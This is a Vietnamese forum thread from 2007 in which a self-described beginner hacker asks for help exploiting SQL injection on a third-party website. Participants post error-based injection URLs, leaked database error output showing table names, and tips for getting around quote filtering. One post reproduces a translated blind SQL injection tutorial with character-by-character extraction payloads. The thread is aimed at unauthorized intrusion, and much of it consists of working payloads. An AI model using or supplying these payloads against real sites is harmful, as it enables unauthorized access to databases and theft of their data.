[Question] Xin giúp em lỗi SQL Injection này!!! |
11/01/2007 00:05:40 (+0700) | #1 | 35423 |
hackerboy456
Member
|
0 |
|
|
Joined: 29/12/2006 20:37:40
Messages: 4
Offline
|
|
Em là newbie mới tập hack, em tìm được 1 trang bị lỗi SQL Ịnection
hxxp://www.victim.com/detail.asp?m=3'
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ''.
/menu.asp, line 13
Đánh tiếp
hxxp://www.victim.com/detail.asp?m=3%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables))--
thì được thế này
Code:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'GIAO_TRINH' to a column of data type int.
Đánh tiếp:
hxxp://www.victim.com/detail.asp?m=3%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in('GIAO_TRINH')))--
thì nó ra thế này:
Code:
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'GIAO_TRINH'.
-> Không như mong đợi :cry:
Mong các anh giúp giùm em tiếp theo phải làm như thế nào? Thank nhiều. |
|
|
|
|
[Question] Xin giúp em lỗi SQL Injection này!!! |
11/01/2007 02:03:06 (+0700) | #2 | 35453 |
h3ll0w0rld
Member
|
0 |
|
|
Joined: 09/01/2007 18:49:02
Messages: 1
Offline
|
|
Đã bị code để bỏ " và '. Giá trị Giao trinh sẽ được xem như hằng hay column.
Khắc phục : dùng char() hoặc ascii(); |
|
|
|
|
[Question] Xin giúp em lỗi SQL Injection này!!! |
11/01/2007 07:54:42 (+0700) | #3 | 35521 |
hackerboy456
Member
|
0 |
|
|
Joined: 29/12/2006 20:37:40
Messages: 4
Offline
|
|
Hic, huynh có thể chỉ ra câu lệnh cụ thể được không, cám ơn nhiều. |
|
|
|
|
[Question] Xin giúp em lỗi SQL Injection này!!! |
11/01/2007 09:37:07 (+0700) | #4 | 35547 |
|
gamma95
Researcher
|
Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
|
|
úmbala
hxxp://www.victim.com/detail.asp?m=3%20and%201=convert(int,(select%20top%201 b from test1 where a>x))--
sau đó bạn cho x từ 1,2-->n
thử coai tui nói đúng hum
-->thử đập lun thằng VCD3 coai |
|
Cánh chym không mỏi
lol |
|
|
|
[Question] Xin giúp em lỗi SQL Injection này!!! |
11/01/2007 09:47:15 (+0700) | #5 | 35549 |
Mr Service
Member
|
0 |
|
|
Joined: 09/01/2007 12:26:32
Messages: 3
Offline
|
|
Ơ hay sao Gamma95 nick màu vàng lại có tước hiệu là member nhỉ?
Sao tôi cũng có tước hiệu là member sao nick lại màu xám!?
Hơ |
|
|
|
|
[Question] Xin giúp em lỗi SQL Injection này!!! |
11/01/2007 10:18:45 (+0700) | #6 | 35554 |
hackerboy456
Member
|
0 |
|
|
Joined: 29/12/2006 20:37:40
Messages: 4
Offline
|
|
gamma95 wrote:
hxxp://www.victim.com/detail.asp?m=3%20and%201=convert(int,(select%20top%201 b from test1 where a>x))--
Thử đến x=4 thì ra cái này
Code:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'eshop_member' to a column of data type int.
Nhưng mà mình chẳng hiểu gì chỗ "select%20top%201 b from test1 where a>x" cả, làm sao huynh biết là có table test1 trong đó vậy? |
|
|
|
|
[Question] Re: Xin giúp em lỗi SQL Injection này!!! |
11/01/2007 11:16:58 (+0700) | #7 | 35559 |
|
gamma95
Researcher
|
Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline
|
|
Ơ hay sao Gamma95 nick màu vàng lại có tước hiệu là member nhỉ?
Sao tôi cũng có tước hiệu là member sao nick lại màu xám!?
Vì mình là member mà, phấn đấu mãi chả lên đc Mod nên xin bác conmale cho cái nick màu vàng hù member chơi )
Nhưng mà mình chẳng hiểu gì chỗ "select%20top%201 b from test1 where a>x" cả, làm sao huynh biết là có table test1 trong đó vậy?
Đơn giản vì mình là admin
|
|
Cánh chym không mỏi
lol |
|
|
|
[Question] Xin giúp em lỗi SQL Injection này!!! |
13/01/2007 23:36:57 (+0700) | #8 | 36024 |
hackerboy456
Member
|
0 |
|
|
Joined: 29/12/2006 20:37:40
Messages: 4
Offline
|
|
Vậy còn chỗ mã hóa bằng ký tự ASCII hay char làm sao để viết vậy? |
|
|
|
|
[Question] Re: Xin giúp em lỗi SQL Injection này!!! |
14/01/2007 02:04:42 (+0700) | #9 | 36048 |
|
meomap_hp
Member
|
0 |
|
|
Joined: 04/12/2006 00:15:11
Messages: 46
Offline
|
|
h3ll0w0rld : Đã bị code để bỏ " và '. Giá trị Giao trinh sẽ được xem như hằng hay column.
Khắc phục : dùng char() hoặc ascii();
----->>?__?
SAO không trả lời vậy |
|
|
|
|
[Question] Re: Xin giúp em lỗi SQL Injection này!!! |
14/01/2007 23:36:42 (+0700) | #10 | 36226 |
GrudgeBoy
Member
|
0 |
|
|
Joined: 12/01/2007 14:16:39
Messages: 18
Offline
|
|
Giời ơi ! Nếu bạn muốn người khác "Trĩ Giáo" dùm thì phải cho biết cái lỗi và giải thích nó chớ ! Bạn để như vậy ai biết đường mà ANS tui nhìn tui cũng mù luon ròi
Thôi để mình tự lên trang web tìm hiểu vậy
) |
|
|
|
|
[Question] Xin giúp em lỗi SQL Injection này!!! |
18/01/2007 06:22:25 (+0700) | #11 | 36900 |
|
hoahongtim
Researcher
|
Joined: 15/07/2002 02:59:49
Messages: 156
Location: Underground
Offline
|
|
Để hiểu hơn về cách dùng char() hoặc ascii(), mời bạn xem bài viết sau về "Blind SQL Injection" hoặc google.com sẽ giúp bạn !
Bài viết của Pip - Vniss !!
Trước hết phải nói đây là bài cũ rùi, nhưng sau bài này mình sẽ có thêm 1 ví dụ cụ thể chăc sẽ dễ chịu hơn với những ai chưa rõ lắm ( chỉ sợ ai cũng rõ rồi thì phí công wé )
Bài lấy trong kho nhé :
Bài này là bài dịch đầu tay hay sao á
Dựa theo bài viết của : Kevin Spett
Nói qua 1 chút , nếu khai thác theo lỗi SQL injection thông thường ta khai thác qua các error message gửi về từ server .Tuy nhiên 1 số admin đã ngăn việc hiển thị các error message nhưng thật đáng tieec như thế là ko đủ
Nếu như bạn ko nhận được các error message thì đừng lo vì rất có thể chúng ta vẫn khai thác thông tin được qua "blind" sql injection .
Phát hiện lỗi "blind sql injection":
1 URL như sau : http://www.company.com/pressRelease.jsp?pressID=5
và câu lệnh SQL được thực hiện sẽ là :
SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5
để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng .Ví dụ như:
http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1
và nếu database server thực hiện lệnh
SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5 AND 1=1
và nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi rồi đấy .
Khai thác:
Bây giờ chúng ta sẽ đoán các thông tin của database bằng việc thực hiên các câu hỏi đúng sai với server
Ví dụ : ta sẽ hỏi server xem " có phải user hiện tại là dbo ko?" bằng cách :
http://www.company.com/pressRelease.jsp?pressID=5 AND USER_NAME()='dbo'
( USER_NAME() là 1 hàm của SQL Server trả về tên của user hiện tại )
Nếu user hiện tai đúng là 'dbo' thì chúng ta sẽ được trả về http://www.company.com/pressRelease.jsp?pressID=5 còn nếu ko thì sẽ ko có trang nào được trả về cả.
Hay phải ko các bạn
Bằng cách so sanh các câu hỏi nhỏ với các hàm ta có thể hỏi nhiều câu phức tạp hơn . Sau đây là ví dụ về cách lấy tên của 1 table ( từng chữ 1 )
http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>109
Lệnh SELECT sẽ yêu cầu tên của table đầu tiên trong database
Hàm substring() sẽ trả về chữ đầu tiên trong kết quả của câu lện
Hàm lower() đơn giản chỉ là chuyển kí tự thành kiêu chữ thường, ko viết hoa.
Hàm ascii() sẽ trả về giá trị ASCII của kí tự đó
Nếu server ko báo lỗi gì thì chúng ta có thể biết rằng tên đầu tiên của table là một chữ sau chữ "m" ( vì trong bảng mã giá trị của chữ "m" là 109 )
tiếp theo :
http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>116
Nếu báo lỗi tức là ta biết được giá trị ASCII của kí tự đầu tiên này nằm trong khoảng từ chữ "n" đến chữ "t" ( giá trị của t là 116)
Cứ thế thu hẹp dần ta sẽ được giá trị của kí tự đầu tiên sẽ nằm trong khoảng "n" và "o" ( 110 và 111)
Tiếp theo:
http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))=111
Server ko báo lỗi mà trở về trang http://www.company.com/pressRelease.jsp?pressID=5 <--vậy là ta biết được kí tự đầu tiên của table là "o"
Đoán tiếp kí tự thứ 2 ta làm như sau :
http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1)))>109
(chú ý ta phải đổi đối số từ 1 sang 2 )
và rồi làm lại như thế , dần dân ta sẽ nhân được tên đầy đủ của table ( trong ví dụ này là "orders")
Bài này ko phải là dịch hoàn toàn mà dựa trên sự đọc hiểu của mình và viết lại , nếu các bạn thấy chỗ nào thiếu chính xác thì góp ý nhá ( mong các bạn đừng cười )
À còn đây là 1 chút về bảng mã ASCII cho nhưng bạn nào chưa biết :
1. Bảng mã ASCII :
Bộ kí tự ASCII gồm 256 kí tự được phân bố như sau:
+ 32 kí tự đầu là các kí tự điều khiển ko in được ví dụ như kí tự ENTER ( mã 13) , ký tự ESC ( mã 27)
+ các mã 32-47,58-64,91-96 và 123-127 là các kí tữ đặc biệt như dấu chấm, chấm phẩy , dấu ngoặc , móc , hỏi .....
+ các mã 48-57 là 10 chữ số
+ các mã 65-90 là các chữ cái hoa A->Z
+ các kí tự 97-122 là các chữ cái thường a->z
+ các mã ASSCII là các kí tự đồ họa
Cụ thể hơn bạn có thể viết 1 CT nhỏ bằng pascal , C ...... để liệt kê bảng mã ASCII cho mình
|
|
|
|
|
[Question] Re: Xin giúp em lỗi SQL Injection này!!! |
26/02/2007 15:39:59 (+0700) | #12 | 43184 |
|
meomap_hp
Member
|
0 |
|
|
Joined: 04/12/2006 00:15:11
Messages: 46
Offline
|
|
bi giờ nếu có được tên bảng rồi thì lấy tên cột làm thế nào? |
|
|
|